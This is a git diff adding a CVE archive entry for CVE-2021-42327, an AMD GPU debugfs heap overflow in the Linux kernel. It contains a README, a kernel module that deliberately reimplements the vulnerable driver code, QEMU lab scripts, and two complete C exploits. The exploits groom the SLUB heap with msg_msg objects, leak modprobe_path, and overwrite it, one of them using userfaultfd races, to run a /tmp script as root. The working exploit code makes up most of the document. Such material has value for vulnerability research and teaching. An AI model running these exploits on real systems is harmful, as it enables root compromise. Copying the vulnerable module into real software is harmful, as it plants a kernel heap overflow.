diff --git a/cve/linux-kernel/2021/CVE-2021-42327/README.md b/cve/linux-kernel/2021/CVE-2021-42327/README.md new file mode 100644 index 0000000000000000000000000000000000000000..cec71f8a49dfdea32314d4d912435e1ea373e376 --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-42327/README.md @@ -0,0 +1,55 @@ +# CVE-2021-42327 + +SLUB overflow exploit + +## Introductuion + +This bug is kind of useless except if the specific driver is present, the debugfs is enabled, and the debugfs is somehow accessible to non-root users. I didn’t have the gaming laptop or GPU for this specific driver so I just copied the vulnerable function and function it is used in into QEMU for exploiting. The vulnerability was introduced somewhere in the Linux Kernel 5.8-rc2 branch and fixed in 5.14.15. I found it by auditing the source for a long time and reporting it to AMD. They fixed the bug quickly and found other places it was present. I also reported it to MITRE and they assigned it the CVE. + +## Vulnerability + +The bug is a simple typo, we all make mistakes and C is unforgiving. Instead of wr_buf_size, size(which is user-controlled) is passed into all of the write functions, allowing SLUB buffer overflow. In the SLUB(Linux kernel’s heap), allocations are placed into caches based on size. For example, an allocation between 32 and 64 bytes goes into the kmalloc-64 “slab” or cache and an allocation between 64 and 96 bytes would go into the kmalloc-96 slab. In the driver, there were three basic heap overflows in two in kmalloc-64 buffers and one in a kmalloc-128 buffer. In dp_phy_test_pattern_debugfs_write + + + uint32_t wr_buf_size = 100; + long param[11] = {0x0}; + int max_param_num = 11; + ...... + + wr_buf = kcalloc(wr_buf_size, sizeof(char), GFP_KERNEL); + if (!wr_buf) + return -ENOSPC; + + if (parse_write_buffer_into_params(wr_buf, size, + (long *)param, buf, + max_param_num, + ¶m_nums)) { + + +And then within the parsing function the copy from userspace happens: + + + static int parse_write_buffer_into_params(char *wr_buf, uint32_t wr_buf_size, + long *param, const char __user *buf, + int max_param_num, + uint8_t *param_nums) + { + char *wr_buf_ptr = NULL; + uint32_t wr_buf_count = 0; + int r; + char *sub_str = NULL; + const char delimiter[3] = {' ', '\n', '\0'}; + uint8_t param_index = 0; + + *param_nums = 0; + + wr_buf_ptr = wr_buf; + + r = copy_from_user(wr_buf_ptr, buf, wr_buf_size); + + /* r is bytes not be copied */ + if (r >= wr_buf_size) { + DRM_DEBUG_DRIVER("user data not be read\n"); + return -EINVAL; + } + diff --git a/cve/linux-kernel/2021/CVE-2021-42327/exploit.c b/cve/linux-kernel/2021/CVE-2021-42327/exploit.c new file mode 100644 index 0000000000000000000000000000000000000000..a14f697d071c8b67c6e9ceed903d4f64165a48cd --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-42327/exploit.c @@ -0,0 +1,229 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define PAGE_SIZE 4096 +#define SLAB_NAME "kmalloc-128" +#define MSG_COPY 040000 + +int fd = -1; +unsigned long modprobe_path = 0; +char* script_path = "/tmp/x\x00"; +unsigned long queue; +int qid[4]; + +void open_dev(){ + fd = open("/dev/vuln", O_RDWR); + if(fd < 0){ + puts("[!] Error opening device"); + exit(-1); + } + puts("[*] Opened device"); +} + +void dev_write(char* buf, size_t n){ + if(write(fd, buf, n)<0) { + puts("[!] Error writing to device"); + //exit(-1); + } else { + puts("[*] Wrote to device"); + } +} + +#define HEADER_SZ 48 +#define MSIZE 128-HEADER_SZ + +struct { + long mtype; + char mtext[MSIZE]; +} msg; + +int make_q(int type) { + msg.mtype = type; + int id = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); + if(id == -1) { + perror("msgget"); + return -1; + } + return id; +} + +void send_msg(int qid, int size, int c) { + size_t msize = size - HEADER_SZ; + struct { + long mtype; + char mtext[msize]; + } msg; + msg.mtype = 1; + memset(msg.mtext, c, msize); + msg.mtext[msize-1] = 0; + if(msgsnd(qid, &msg, msize, 0) == -1) { + perror("msgsnd"); + exit(1); + } +} + +void hex_dump(char *buff, unsigned long size) { + int i,j; + for (i = 0; i < size/8; i++) { + if(i % 2 == 0) { + if (i != 0) + printf(" \n"); + printf(" %04x ", i*8); + } + unsigned long ptr = ((unsigned long *)(buff))[i]; + printf("0x%016lx", ptr); + printf(" "); + } + printf("\n"); +} + +void check_slab(char *slab_name, int *active, int *total) { + FILE *fp; + char buff[1024], name[64]; + int active_num, total_num; + fp = fopen("/proc/slabinfo", "r"); + if (!fp) { + perror("fopen"); + return; + } + while (fgets(buff, 1024, fp) != NULL) { + sscanf(buff, "%s %u %u", name, &active_num, &total_num); + if (!strcmp(slab_name, name)) { + *active = active_num; + *total = total_num; + return; + } + } +} + +void print_slab_info() { + int total_num, active_num; + check_slab(SLAB_NAME, &active_num, &total_num); + printf("[+] Checking slab total: %d active: %d free: %d\n", + total_num, active_num, total_num-active_num); +} + +void warm_heap(int n) { + memset(msg.mtext, 0x69, MSIZE-1); + msg.mtext[MSIZE-1] = 0; + msg.mtype = 2; + int msqids[n]; + size_t i; + printf("[*] Allocating %d msg_msg\n", n); + for(i=0; i (B) k4096 header msg_next --> k4096 data + * 3 socket -> modprobe leak + **/ + char buff[80]; + // free and replace message with victim buffer to overflow + msgrcv(qid[0], buff, 80, 1, MSG_NOERROR | IPC_NOWAIT); + dev_write((char*)evil, evilsz); + puts("[*] Wrote into freed buffer"); + char* leaked = (char*)calloc(leak_sz, 1); + int res = msgrcv(qid[1], leaked, leak_sz, 0, MSG_COPY | IPC_NOWAIT); + if(res>80) { + //hex_dump(leaked, leak_sz); + unsigned long leaked_addr[leak_sz/sizeof(unsigned long)]; + memcpy(leaked_addr, leaked, leak_sz); + printf("[*] Modprobe_path: 0x%lx\n", leaked_addr[32]); + modprobe_path = leaked_addr[32]; + } else { + puts("[!] Error overwriting m_ts "); + } +} + +void make_script() { + system("echo '#!/bin/sh\ncp /root/flag /home/ctf/flag\nchmod 777 /home/ctf/flag' > /tmp/x "); + system("chmod +x /tmp/x"); + system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); + system("chmod +x /tmp/dummy"); + system("/tmp/dummy"); +} + +void arb_write() { + memset(evil, 0, 50*sizeof(unsigned long)); + for(size_t i=0; i<12; i++){ + evil[i] = 0xa; // make driver stop parsing params + } + evil[24] = modprobe_path-48; + evil[40] = modprobe_path-48; + evil[56] = modprobe_path-48; + puts("[*] Overwriting freelist pointer"); + warm_heap(80); + dev_write((char*)evil, sizeof(unsigned long)*56); + + struct { + long mtype; + char mtext[MSIZE]; + } msg; + msg.mtype = 3; + memset(msg.mtext, 0x0, MSIZE); + memcpy(msg.mtext, script_path, 6); + for(size_t i=0; i<30; i++){ + if(msgsnd(qid[2], &msg, MSIZE, 0) == -1) { + perror("msgsnd"); + exit(1); + } + } +} + +int main() { + open_dev(); + leak(); + if(modprobe_path) { + arb_write(); + make_script(); + } else { + puts("[*] Offset not found"); + } +} diff --git a/cve/linux-kernel/2021/CVE-2021-42327/exploit_userfaultfd.c b/cve/linux-kernel/2021/CVE-2021-42327/exploit_userfaultfd.c new file mode 100644 index 0000000000000000000000000000000000000000..50d18d8dd32c571cfdc92f21afb54021f2c9ec5a --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-42327/exploit_userfaultfd.c @@ -0,0 +1,466 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define PAGE_SIZE 4096 +#define SLAB_NAME "kmalloc-128" +#define MSG_COPY 040000 +#define LAST_5(x) (x & 0xfffff) + +int fd = -1; +int ufd_qid; +int qid[4]; +unsigned long offset = 0; +unsigned long next = 0; +void* page_1; +void* page_2; +pthread_t thread1, thread2; +pthread_t pfthread1, pfthread2; +int release_pfh_1 = 0; +unsigned long modprobe_path = 0; +char* script_path = "/tmp/x\x00"; +unsigned long queue; + +void open_dev(){ + fd = open("/dev/vuln", O_RDWR); + if(fd < 0){ + puts("[!] Error opening device"); + exit(-1); + } + puts("[*] Opened device"); +} + +void dev_write(char* buf, size_t n){ + if(write(fd, buf, n)<0) { + puts("[!] Error writing to device"); + //exit(-1); + } else { + puts("[*] Wrote to device"); + } +} + +char* dev_read(char* buf) { + char* output = (char*)read(fd, buf, sizeof(buf)); + if (output <= 0){ + puts("[!] Error reading from device"); + exit(-1); + } + puts("[*] Read from device"); + return output; +} + +#define HEADER_SZ 48 +#define MSIZE 128-HEADER_SZ + +struct { + long mtype; + char mtext[MSIZE]; +} msg; + +int make_q(int type) { + msg.mtype = type; + int id = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); + if(id == -1) { + perror("msgget"); + return -1; + } + return id; +} + +void send_msg(int qid, int size, int c) { + size_t msize = size - HEADER_SZ; + struct { + long mtype; + char mtext[msize]; + } msg; + msg.mtype = 1; + memset(msg.mtext, c, msize); + msg.mtext[msize-1] = 0; + if(msgsnd(qid, &msg, msize, 0) == -1) { + perror("msgsnd"); + exit(1); + } +} + +void hex_dump(char *buff, unsigned long size) { + int i,j; + for (i = 0; i < size/8; i++) { + if(i % 2 == 0) { + if (i != 0) + printf(" \n"); + printf(" %04x ", i*8); + } + unsigned long ptr = ((unsigned long *)(buff))[i]; + printf("0x%016lx", ptr); + printf(" "); + } + printf("\n"); +} + +void check_slab(char *slab_name, int *active, int *total) { + FILE *fp; + char buff[1024], name[64]; + int active_num, total_num; + fp = fopen("/proc/slabinfo", "r"); + if (!fp) { + perror("fopen"); + return; + } + while (fgets(buff, 1024, fp) != NULL) { + sscanf(buff, "%s %u %u", name, &active_num, &total_num); + if (!strcmp(slab_name, name)) { + *active = active_num; + *total = total_num; + return; + } + } +} + +void print_slab_info() { + int total_num, active_num; + check_slab(SLAB_NAME, &active_num, &total_num); + printf("[+] Checking slab total: %d active: %d free: %d\n", + total_num, active_num, total_num-active_num); +} + +int isKernel(unsigned long a){ + return (a > 0xffffffff00000000); +} + +unsigned long evil[50]; + +void leak() { + // create buffer to overflow with: + size_t evilsz = 160; + memset(evil, 0, evilsz); + for(size_t i=0; i<12; i++){ + evil[i] = 0xa; // make driver stop parsing params + } + evil[16] = (unsigned long)0x4141414141414141; + evil[17] = (unsigned long)0x4242424242424242; // struct list_head m_list; + evil[18] = (unsigned long)0x000; // long m_type; + int leak_sz = 0x200; + evil[19] = leak_sz; // size_t m_ts; + qid[0] = make_q(1); + qid[1] = make_q(1); + qid[2] = make_q(1); + send_msg(qid[0], 128, 0x40); + send_msg(qid[1], 128, 0x41); + send_msg(qid[2], 128, 0x42); + send_msg(qid[2], 8184, 0x43); + socket(22, AF_INET, 0); + /* + * 0 : will be replaced with victim + * 1 : overflowed + * 2 list head next ---> (B) k4096 header msg_next --> k4096 data + * 3 socket -> modprobe leak + **/ + char buff[80]; + // free and replace message with victim buffer to overflow + msgrcv(qid[0], buff, 80, 1, MSG_NOERROR | IPC_NOWAIT); + dev_write((char*)evil, evilsz); + puts("[*] Wrote into freed buffer"); + char* leaked = (char*)calloc(leak_sz, 1); + int res = msgrcv(qid[1], leaked, leak_sz, 0, MSG_COPY | IPC_NOWAIT); + if(res>80) { + hex_dump(leaked, leak_sz); + unsigned long leaked_addr[leak_sz/sizeof(unsigned long)]; + memcpy(leaked_addr, leaked, leak_sz); + printf("[*] Leaked 0x%x bytes\n", res); + next = leaked_addr[11]; + printf("[*] Next pointer is 0x%lx\n", next); + queue = leaked_addr[12]; + for(size_t i=0; i < leak_sz/sizeof(unsigned long); i++) { + if(isKernel(leaked_addr[i]) && LAST_5(leaked_addr[i]) == 0x48700) { + printf("[*] Modprobe_path: 0x%lx\n", leaked_addr[i]); + modprobe_path = leaked_addr[i]; + offset = (unsigned long)(leaked_addr - 0xffffffff82648700); + break; + } + } + } else { + puts("[!] Error overwriting m_ts "); + } +} + +int userfaultfd(int flags) { + return syscall(SYS_userfaultfd, flags); +} + +int initialize_ufd(void *page) { + int fd; + struct uffdio_register reg; + if((fd = userfaultfd(O_NONBLOCK)) == -1) { + puts("[!] Userfaultfd failed"); + exit(1); + } + if((ufd_qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) { + puts("[!] Msgget ufd failed"); + exit(1); + } + struct uffdio_api api = { .api = UFFD_API }; + if(ioctl(fd, UFFDIO_API, &api)) { + puts("[!] Userfaultfd ioctl - UFFDIO_API failed"); + exit(1); + } + if(api.api != UFFD_API) { + puts("[!] Unexepcted UFFD api version!"); + exit(1); + } + printf("[*] Start monitoring range: %p - %p\n", page + PAGE_SIZE, page + PAGE_SIZE*2); + reg.mode = UFFDIO_REGISTER_MODE_MISSING; + reg.range.start = (long)(page + PAGE_SIZE); + reg.range.len = PAGE_SIZE; + if(ioctl(fd, UFFDIO_REGISTER, ®)) { + puts("[!] ioctl - UFFDIO_REGISTER failed"); + exit(1); + } + return fd; +} + +void *page_fault_handler_1(void *_ufd) { + struct pollfd pollfd; + struct uffd_msg fault_msg; + struct uffdio_copy ufd_copy; + struct uffdio_range ufd_range; + pid_t pid; + int ufd = *((int *)_ufd); + pollfd.fd = ufd; + pollfd.events = POLLIN; + puts("[PFH 1] Started!"); + while(poll(&pollfd, 1, -1) > 0) { + if((pollfd.revents & POLLERR) || (pollfd.revents & POLLHUP)){ + puts("[!] Polling failed"); + //exit(1); + } + //if( + read(ufd, &fault_msg, sizeof(fault_msg)); + /* != sizeof(fault_msg)){ + puts("[!] Read - fault_msg failed"); + exit(1); + }*/ + char *page_fault_location = (char *)fault_msg.arg.pagefault.address; + if(fault_msg.event != UFFD_EVENT_PAGEFAULT){ + puts("[!] Unexpected pagefault?"); + //exit(1); + } + if(page_fault_location == page_1 + PAGE_SIZE) { + printf("[PFH 1] Page fault at 0x%lx\n", (unsigned long)page_fault_location); + unsigned long buff[PAGE_SIZE/sizeof(unsigned long)]; + // write the address of modprobe_path to F's next pointer + buff[0] = next; + buff[1] = next; + buff[2] = 1; + buff[3] = 0x1000; + buff[4] = modprobe_path; + puts("[PFH 1] Releasing faulting thread"); + ufd_copy.dst = (unsigned long)(page_fault_location); + ufd_copy.src = (unsigned long)(&buff); + ufd_copy.len = PAGE_SIZE; + ufd_copy.mode = 0; + ufd_copy.copy = 0; + for(;;) { + if(release_pfh_1){ + if(ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0){ + puts("ioctl(UFFDIO_COPY)"); + exit(1); + } + puts("[PFH 1] Faulting thread released"); + break; + } + } + } + } +} + +void *page_fault_handler_2(void *_ufd){ + struct pollfd pollfd; + struct uffd_msg fault_msg; + struct uffdio_copy ufd_copy; + struct uffdio_range ufd_range; + pid_t pid; + int ufd = *((int *)_ufd); + pollfd.fd = ufd; + pollfd.events = POLLIN; + puts("[PFH 2] Started!"); + while(poll(&pollfd, 1, -1) > 0) { + if((pollfd.revents & POLLERR) || (pollfd.revents & POLLHUP)) { + puts("[!] Polling failed"); + //exit(1); + } + //if( + read(ufd, &fault_msg, sizeof(fault_msg)); + // != sizeof(fault_msg)) { + /* puts("[!] Read - fault_msg failed"); + exit(1); + }*/ + char *page_fault_location = (char *)fault_msg.arg.pagefault.address; + if(fault_msg.event != UFFD_EVENT_PAGEFAULT) { + puts("[!] Unexpected pagefault?"); + //exit(1); + } + if(page_fault_location == page_2 + PAGE_SIZE) { + printf("[PFH 2] Page fault at 0x%lx\n", page_fault_location); + unsigned long buff[PAGE_SIZE/sizeof(unsigned long)]; + memset(buff, 0, PAGE_SIZE/sizeof(unsigned long)); + memcpy(buff, script_path, 6); + memcpy(buff+8, script_path, 6); + release_pfh_1 = 1; + sleep(10); + // buff is what will be written to modprobe_path + puts("[PFH 2] Releasing faulting thread"); + ufd_copy.dst = (unsigned long)(page_fault_location); + ufd_copy.src = (unsigned long)(&buff); + ufd_copy.len = PAGE_SIZE; + ufd_copy.mode = 0; + ufd_copy.copy = 0; + if(ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0) { + puts("[!] ioctl(UFFDIO_COPY)"); + //exit(1); + } + puts("[PFH 2] Faulting thread released"); + } + } +} + +void* alloc1(void* arg) { + printf("[Thread 1] Message buffer allocated at %p\n", page_1 + PAGE_SIZE - 0x10); + qid[2] = make_q(1); + memset(page_1, 0, PAGE_SIZE); + ((unsigned long *)(page_1))[0xff0 / 8] = 1; + if(msgsnd(qid[2], page_1 + PAGE_SIZE - 0x10, 0x1ff8 - 0x30, 0)) { + puts("[!] Error msgsnd in alloc1"); + exit(-1); + } + puts("[Thread 1] Message sent, *next overwritten!"); +} + +void* alloc2(void* arg) { + printf("[Thread 2] Message buffer allocated at 0x%p\n", page_2+PAGE_SIZE-0x10); + qid[3] = make_q(1); + memset(page_2, 0, PAGE_SIZE); + ((unsigned long *)(page_1))[0xff0 / 8] = 1; + int res = msgsnd(qid[3], page_2 + PAGE_SIZE - 0x10, 0x1028 - 0x30, 0); + if(res < page_2 + PAGE_SIZE - 0x10){ + printf("[!] Error %d msgsnd in alloc2\n", res); + exit(-1); + } +} + +void setup_user_pages() { + page_1 = (void*)mmap((void *)0xdead000, PAGE_SIZE*3, + PROT_READ|PROT_WRITE, + MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); + page_2 = (void*)mmap((void *)0xcafe000, PAGE_SIZE*3, + PROT_READ|PROT_WRITE, + MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); + int ufd_1 = initialize_ufd(page_1); + int ufd_2 = initialize_ufd(page_2); + pthread_create(&pfthread1, 0, page_fault_handler_1, &ufd_1); + pthread_create(&pfthread2, 0, page_fault_handler_2, &ufd_2); +} + +void setup_overflow() { + // we want to make next point to new segment + evil[16] = (unsigned long)0x41; + evil[17] = (unsigned long)0x42; // struct list_head m_list; + evil[18] = 1; + evil[19] = 0x50; + evil[20] = next+0x1000; // segment +} + +void arb_write() { + setup_user_pages(); + // 3. Free B (only chunk in k4096) + char buff[8136]; + msgrcv(qid[2], buff, 8136, 1, MSG_NOERROR | IPC_NOWAIT); + msgrcv(qid[2], buff, 128, 1, MSG_NOERROR | IPC_NOWAIT); + + // 4. Start a new thread allocate new message D(and segment) in k4096 + // hang the thread via userfault handler + /* + * k128 k4096 -----> segment k4096 + * D qid[2] + * Pagefault 1 + * + */ + pthread_create(&thread1, 0, alloc1, 0); + + // 5. Allocate new chunk E adjacent to victim to overflow + // overwrite next to point to segment F + /* + * k128 + * victim + * E (overwrite next) -------------------------> segment + * (D) k4096 ----------------------^ + */ + qid[0] = make_q(1); + qid[1] = make_q(1); + send_msg(qid[0], 128, 0x44); + send_msg(qid[1], 128, 0x45); + setup_overflow(); + // free to replace with victim + msgrcv(qid[0], buff, 128, 1, MSG_NOERROR | IPC_NOWAIT); + dev_write((char*)evil, 21*sizeof(unsigned long)); + + // 6. Freeing E now also frees segment since msg_next points to it + /* + * k4096 (D) -> segment(now freed with E) + * */ + msgrcv(qid[1], buff, 128, 1, MSG_NOERROR | IPC_NOWAIT); + + // 7. Create thread2 and allocate F which will be at the address of the + // last freed segment so that D -> F and hang the thread + /* + *k4096 (D) -> F(2nd page fault) -> F's segment + * + */ + pthread_create(&thread2, 0, alloc2, 0); + // 8. release first thread to write the address of modprobe_path to + // F's msg_next pointer(this is done in page_fault_handler2) + /* + * k4096 (D) -> F(2nd page fault) -> modprobe_path + * prev, next + * + * msg_next + * + * now when 2nd page fault is released it will write to modprobe_path + * + */ + //pthread_join(thread1, 0); + // then resume F so it writes to that pointer + //pthread_join(thread2, 0); +} + +void make_script() { + system("echo '#!/bin/sh\necho rooted' > /tmp/x "); + system("chmod +x /tmp/x"); + system("echo -ne '\\xff\\xff\\xff\\xff\\xff' > /tmp/dummy"); + system("chmod +x /tmp/dummy"); + system("/tmp/dummy"); +} + +int main() { + open_dev(); + // leak to get around aslr + leak(); + // ffffffff8107e300 t call_usermodehelper_exec_work + // ffffffff82648700 D modprobe_path + if(offset){ + arb_write(); + } + make_script(); +} diff --git a/cve/linux-kernel/2021/CVE-2021-42327/gdbscript b/cve/linux-kernel/2021/CVE-2021-42327/gdbscript new file mode 100644 index 0000000000000000000000000000000000000000..4d8fdfffccd06ec4c1c0632f8dd7bea51bced7d5 --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-42327/gdbscript @@ -0,0 +1,5 @@ +gef config context.layout "-legend regs stack code -args source -threads -trace -extra -memory" +add-symbol-file module/cdev.ko 0xffffffffc0000000 +b 91 +target remote :1234 +c diff --git a/cve/linux-kernel/2021/CVE-2021-42327/module/Makefile b/cve/linux-kernel/2021/CVE-2021-42327/module/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..88f80c3f5ec2223fed7daa8bce2c2533be424b6b --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-42327/module/Makefile @@ -0,0 +1,11 @@ +obj-m += cdev.o + +KDIR = ../linux-5.8.1 +MY_CFLAGS += -g -DDEBUG +ccflags-y += ${MY_CFLAGS} +CC += ${MY_CFLAGS} +all: + $(MAKE) -C $(KDIR) M=$(shell pwd) modules EXTRA_CFLAGS="$(MY_CFLAGS)" && cp cdev.ko ../fs + +clean: + rm -rf *.o *.ko *.mod.* *.symvers *.order diff --git a/cve/linux-kernel/2021/CVE-2021-42327/module/cdev.c b/cve/linux-kernel/2021/CVE-2021-42327/module/cdev.c new file mode 100644 index 0000000000000000000000000000000000000000..66da4e95cc1b651d66d04a40c33be05da2f91ae5 --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-42327/module/cdev.c @@ -0,0 +1,214 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +MODULE_DESCRIPTION("mimic vuln device"); +MODULE_AUTHOR("th3lsh3ll"); +MODULE_LICENSE("GPL"); + +#define LOG_LEVEL KERN_INFO + +#define MY_MAJOR 42 +#define MY_MINOR 0 +#define NUM_MINORS 1 +#define MODULE_NAME "vuln" +#define DEVICE_NAME "vuln" +dev_t dev_num; +struct cdev *mcdev; +int major_number; + +static int vuln_open(struct inode *inode, struct file *file) +{ + return 0; +} + +static int +vuln_release(struct inode *inode, struct file *file) +{ + return 0; +} + +static ssize_t +dp_link_settings_read(struct file *f, + char __user *buf, + size_t size, loff_t *pos) +{ +// https://elixir.bootlin.com/linux/latest/source/drivers/gpu/drm/amd/display/amdgpu_dm/amdgpu_dm_debugfs.c#L179 + char *rd_buf_ptr = NULL; + if(*pos & 3 || size & 3) + return -EINVAL; + char* rd_buf = kcalloc(100, sizeof(char), GFP_KERNEL); + uint32_t result = 0; + if(!rd_buf) + return 0; + rd_buf_ptr = rd_buf; + const uint32_t rd_buf_size = 100; + int lane_count = 0; + int link_rate = 1; + int link_spread = 2; + uint8_t str_len = 0; + int r; + size_t i; + for(i = 0; i < 4; i++) { + str_len = strlen("Reported: %d 0x%x %d "); + snprintf(rd_buf_ptr, str_len, "Reported: %d 0x%x %d ", + lane_count, link_rate, link_spread); + rd_buf_ptr += str_len; + } + while (size) { + if (*pos >= rd_buf_size) + break; + r = put_user(*(rd_buf + result), buf); + if (r) + return r; + buf += 1; + size -= 1; + *pos += 1; + result += 1; + } + kfree(rd_buf); + return result; +} + +static int parse_write_buffer_into_params(char *wr_buf, uint32_t wr_buf_size, + long *param, const char __user *buf, + int max_param_num, uint8_t *param_nums) +{ + char *wr_buf_ptr = NULL; + uint32_t wr_buf_count = 0; + int r; + char* sub_str = NULL; + const char delimiter[3] = {' ', '\n', '\0'}; + uint8_t param_index = 0; + *param_nums = 0; + wr_buf_ptr = wr_buf; + r = copy_from_user(wr_buf_ptr, buf, wr_buf_size); + if (r >= wr_buf_size) { + printk(LOG_LEVEL "user data could not be read\n"); + return -EINVAL; + } + /* check number of parameters. isspace could not differ space and \n */ + while ((*wr_buf_ptr != 0xa) && (wr_buf_count < wr_buf_size)) { + /* skip space*/ + printk("[thelshell] wr_buf_ptr %d wr_buf_count %d\n wr_buf_size %d *param_nums %d\n", *wr_buf_ptr, wr_buf_count, wr_buf_size, *param_nums); + while (isspace(*wr_buf_ptr) && (wr_buf_count < wr_buf_size)) { + wr_buf_ptr++; + wr_buf_count++; } + if (wr_buf_count == wr_buf_size) + break; + /* skip non-space*/ + while ((!isspace(*wr_buf_ptr)) && (wr_buf_count < wr_buf_size)) { + wr_buf_ptr++; + wr_buf_count++; + } + (*param_nums)++; + if (wr_buf_count == wr_buf_size) { + break; + } + } + if (*param_nums > max_param_num) + *param_nums = max_param_num; + printk("[thelshell] param_index %d param_nums %d\n", param_index, *param_nums); + wr_buf_ptr = wr_buf; /* reset buf pointer */ + wr_buf_count = 0; /* number of char already checked */ + while (isspace(*wr_buf_ptr) && (wr_buf_count < wr_buf_size)) { + wr_buf_ptr++; + wr_buf_count++; + } + while (param_index < *param_nums) { + /* after strsep, wr_buf_ptr will be moved to after space */ + sub_str = strsep(&wr_buf_ptr, delimiter); + r = kstrtol(sub_str, 16, &(param[param_index])); + if (r) + printk(LOG_LEVEL "[sanity_check] string to int convert error code: %d\n", r); + param_index++; + } + return 0; +} + +static ssize_t dp_phy_test_pattern_debugfs_write(struct file *f, const char __user *buf, + size_t size, loff_t *pos) +{ +// https://elixir.bootlin.com/linux/v5.14.15/source/drivers/gpu/drm/amd/display/amdgpu_dm/amdgpu_dm_debugfs.c#L610 + char *wr_buf = NULL; + uint32_t wr_buf_size = 100; + long param[11] = {0x0}; + int max_param_num = 11; + bool disable_hpd = false; + bool valid_test_pattern = false; + uint8_t param_nums = 0; + /* init with default 80bit custom pattern */ + uint8_t custom_pattern[10] = { + 0x1f, 0x7c, 0xf0, 0xc1, 0x07, + 0x1f, 0x7c, 0xf0, 0xc1, 0x07 + }; + if (size == 0) + return -EINVAL; + + wr_buf = kcalloc(wr_buf_size, sizeof(char), GFP_KERNEL); + if (!wr_buf) + return -ENOSPC; + + if (parse_write_buffer_into_params(wr_buf, size, + (long *)param, buf, + max_param_num, + ¶m_nums)) { + kfree(wr_buf); + return -EINVAL; + } + + if (param_nums <= 0) { + kfree(wr_buf); + printk("user data not be read\n"); + return -EINVAL; + } + return size; +} + +static const struct file_operations fops = { + .owner = THIS_MODULE, + .open = vuln_open, + .release = vuln_release, + .read = dp_link_settings_read, + .write = dp_phy_test_pattern_debugfs_write, +}; + +static int vuln_init(void) +{ + printk( LOG_LEVEL "Registering the char device"); + if (alloc_chrdev_region(&dev_num, 0, 1, DEVICE_NAME) < 0) { + printk(KERN_ALERT "failed to allocate major number\n"); + return -EINVAL; + } else { + printk(KERN_INFO "major number allocated successfully\n"); + } + major_number = MAJOR(dev_num); + printk(KERN_INFO "major number %d\n", major_number); + printk(KERN_INFO "use mknod /dev/%s c %d 0\n", DEVICE_NAME, major_number); + mcdev = cdev_alloc(); + mcdev->ops = &fops; + mcdev->owner = THIS_MODULE; + if (cdev_add(mcdev, dev_num, 1) < 0) { + printk(KERN_INFO "adding device to kernel failed\n"); + } else { + printk(KERN_INFO "added device to kernel\n"); + } + return 0; +} + +static void vuln_exit(void) +{ + cdev_del(mcdev); + printk( LOG_LEVEL "Unregistering char device"); + unregister_chrdev_region(dev_num, 1); +} + +module_init(vuln_init); +module_exit(vuln_exit); diff --git a/cve/linux-kernel/2021/CVE-2021-42327/module/cdev.ko b/cve/linux-kernel/2021/CVE-2021-42327/module/cdev.ko new file mode 100644 index 0000000000000000000000000000000000000000..92b954968415ded80740fc9396bca9261cf0f506 Binary files /dev/null and b/cve/linux-kernel/2021/CVE-2021-42327/module/cdev.ko differ diff --git a/cve/linux-kernel/2021/CVE-2021-42327/run_challenge.sh b/cve/linux-kernel/2021/CVE-2021-42327/run_challenge.sh new file mode 100644 index 0000000000000000000000000000000000000000..3ed0b27a39c16a23dcbb666b28ba6690f24f82c5 --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-42327/run_challenge.sh @@ -0,0 +1,16 @@ +#!/bin/sh + +qemu-system-x86_64 \ + -m 256M \ + -kernel linux-5.8.1/arch/x86/boot/bzImage \ + -initrd initramfs.cpio.gz \ + -nographic \ + -cpu qemu64,+smep,-smap -smp cores=2 \ + -append "nokaslr nopti nosmap root=/dev/ram rw console=ttyS0 loglevel=2 oops=panic panic=1 init_on_alloc=0 init_on_free=0" \ + -monitor none \ + -no-reboot \ + -nodefaults -snapshot \ + -no-kvm \ + -s \ + -chardev stdio,id=char0 -serial chardev:char0 \ + -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny diff --git a/cve/linux-kernel/2021/CVE-2021-42327/setup.sh b/cve/linux-kernel/2021/CVE-2021-42327/setup.sh new file mode 100644 index 0000000000000000000000000000000000000000..c611ba49638d1acb25916c44e5f5080c57b4e303 --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-42327/setup.sh @@ -0,0 +1,10 @@ +#!/bin/sh +gcc -pthread -o e -static exploit.c +mv e fs +cd fs +find . -print0 \ +| cpio --null -ov --format=newc \ +| gzip -9 > initramfs.cpio.gz +mv ./initramfs.cpio.gz .. +cd .. +./run_challenge.sh diff --git a/cve/linux-kernel/2021/yaml/CVE-2021-42327.yaml b/cve/linux-kernel/2021/yaml/CVE-2021-42327.yaml new file mode 100644 index 0000000000000000000000000000000000000000..883f66527f0aa8500f86675b9572d4f56929610f --- /dev/null +++ b/cve/linux-kernel/2021/yaml/CVE-2021-42327.yaml @@ -0,0 +1,23 @@ +id: CVE-2021-42327 +source: https://github.com/docfate111/CVE-2021-42327 +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: medium + description: | + Linux内核5.14.14版本之前的驱动程序/gpu/drm/amd/display/amdgpu_dm/amdgpu_dm_debugfs.c 中的dp_link_settings_write允许攻击者基于堆的缓冲区溢出,攻击者可以将字符串写入 AMD GPU 显示驱动程序调试文件系统。当它使用 copy_from_user 的大小将用户空间缓冲区复制到 40 字节堆缓冲区时,不会检查 parse_write_buffer_into_params 内的大小。 + + scope-of-influence: + Linux kernel before 5.14.14 + + reference: + - https://nvd.nist.gov/vuln/detail/cve-2021-42327 + + classification: + cvss-metrics: 